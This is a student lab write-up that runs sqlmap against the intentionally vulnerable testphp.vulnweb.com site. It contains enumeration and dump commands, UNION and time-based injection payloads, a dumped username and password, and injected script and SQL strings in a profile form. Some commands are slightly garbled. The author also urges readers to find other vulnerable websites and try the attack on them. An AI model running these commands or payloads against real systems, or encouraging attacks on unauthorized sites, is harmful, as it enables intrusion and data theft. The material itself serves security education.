

SRN: 202201589

Q . *Perform a SQL injection*

Open your terminal and give the command `sqlmap -h` to check if sqlmap exists or not.

```
(jalaj@Jalaj-PC)-[~]
$ sqlmap -h
```

```
--H--  
--["]  
-----{1.8.2#stable}  
|_|V... |_  
  
https://sqlmap.org
```

Usage: python3 sqlmap [options]

Options:

-h, --help	Show basic help message and exit
-hh	Show advanced help message and exit
--version	Show program's version number and exit
-v VERBOSE	Verbosity level: 0-6 (default 1)

Target:
At least one of these options has to be provided to define the target(s)

-u URL, --url=URL	Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK	Process Google dork results as target URLs

Finding database

I am using the site <http://testphp.vulnweb.com/artists.php?artist=1> for sql injection. You are advised to find other websites vulnerable to sql injection and try them out.

We will use command `sqlmap sitename -- dbs`

```
(jalaj@Jalaj-PC)~  
$ sqlmap http://testphp.vulnweb.com/artists.php?artist=1 --dbs  
  
---  
--H--  
--[M]----- {1.8.2#stable}  
|_ -| . [M] | .| . |  
|_ -| [M] |_-|_-|_-|_-|  
|_ |V... |_-| https://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
[*] starting @ 08:17:46 /2024-03-01/  
  
[08:17:46] [INFO] testing connection to the target URL  
[08:17:46] [INFO] checking if the target is protected by some kind of WAF/IPS  
[08:17:47] [INFO] testing if the target URL content is stable  
[08:17:47] [INFO] target URL content is stable  
[08:17:47] [INFO] testing if GET parameter 'artist' is dynamic  
[08:17:47] [INFO] GET parameter 'artist' appears to be dynamic  
[08:17:48] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')  
[08:17:48] [INFO] testing for SQL injection on GET parameter 'artist'  
  
[08:18:21] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable  
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n  
sqlmap identified the following injection point(s) with a total of 44 HTTP(s) requests:  
----  
Parameter: artist (GET)  
  Type: boolean-based blind  
  Title: AND boolean-based blind - WHERE or HAVING clause  
  Payload: artist=1 AND 7718=7718  
  
  Type: time-based blind  
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
  Payload: artist=1 AND (SELECT 8277 FROM (SELECT(SLEEP(5))))qGeN  
  
  Type: UNION query  
  Title: Generic UNION query (NULL) - 3 columns  
  Payload: artist=-8402 UNION ALL SELECT NULL,NULL,CONCAT(0x716b6b6a71,0x465161684754436a5177416c484d72657a48  
6279756d6f63716574625345.0x7176717871)-- --
```

Here sqlmap has found a vulnerability. The parameter 'artist' is vulnerable. You can also find other such vulnerabilities.

This command will give you all the databases.

```
[08:20:30] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[08:20:30] [INFO] fetched data logged to text files under

[*] ending @ 08:20:30 /2024-03-01/
```

As you can see there are two databases available on the website. Let's find the tables of the database using the command: **sqlmap -u *sitename* -D *dbname* --tables** you'll see the list of table available in the acurat database.

```
(jalaj@Jalaj-PC)-[~]
$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -tables

--
--H--
--[ ]--
{1.8.2#stable}
|_ -| . [ ] | . | . | |
|_ -| [ ] | -| -| -|
|_ -| V... | -|
|_ -|
```

<https://sqlmap.org>

```
[08:26:18] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----+
| artists |
| carts   |
| categ   |
| featured|
| guestbook|
| pictures|
| products|
| users   |
+-----+
```

Finding Columns

Let's find tables and columns of the database to get a better idea regarding the website. Use the command: **sqlmap -u *sitename* -D *dbname* --columns**. You will get the columns along with the name of the table.

Database: acuart

Table: carts

[3 columns]

Column	Type
cart_id	varchar(100)
item	int
price	int

Database: acuart

Table: artists

[3 columns]

Column	Type
adesc	text
aname	varchar(50)
artist_id	int

Database: acuart

Table: products

[5 columns]

Column	Type
description	text
name	text
id	int unsigned
price	int unsigned
rewritename	text

Database: acuart

Table: guestbook

[3 columns]

Column	Type
mesaj	text
sender	varchar(150)
senttime	int

Now we can get column information i.e. the data in a column by using command :

sqlmap -u *sitename* -D *dbname* -T *tablename* -C *columnname* -dump.

```
[08:31:21] [INFO] fetching entries of column(s) 'uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-----+
| uname |
+-----+
| test  |
+-----+
```

```
[08:32:09] [INFO] fetching entries of column(s) 'pass' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-----+
| pass  |
+-----+
| test  |
+-----+
```

Now we can try to login using the credentials found so far..

(test)

On this page you can visualize or edit you user information.

Name:	<input type="text" value="<script>window.location.href='https://"/>
Credit card number:	<input type="text" value="1234-5678-2300-9000"/>
E-Mail:	<input type="text" value="abc@gmail.com"/>
Phone number:	<input type="text" value="123456789"/>
Address:	<input type="text" value="vivo aqui)) AS ZyQO WHERE
1350=1350 RLIKE (SELECT (CASE
WHEN (5523=5523) THEN
0x61717569 ELSE 0x28 END))-- zrQD"/>
<input type="button" value="update"/>	

You have 0 items in your cart. You visualize you cart [here](#).

CONCLUSION:

In this exercise, we performed SQL injection testing on a vulnerable website using sqlmap. By exploiting the vulnerability in the 'artist' parameter, we were able to extract information about the databases, tables, and columns present on the website's backend. This process allowed us to gather valuable insights into the website's underlying database structure.

Subsequently, we retrieved data from specific columns within tables using sqlmap, revealing potentially

sensitive information. This demonstrated the severity of the SQL injection vulnerability and highlighted the importance of securing web applications against such attacks.

In conclusion, our exploration of SQL injection exposed critical security weaknesses in the website's implementation. This underscores the necessity for robust security measures, including proper input validation and parameterized queries, to prevent unauthorized access to sensitive data and safeguard against malicious exploitation.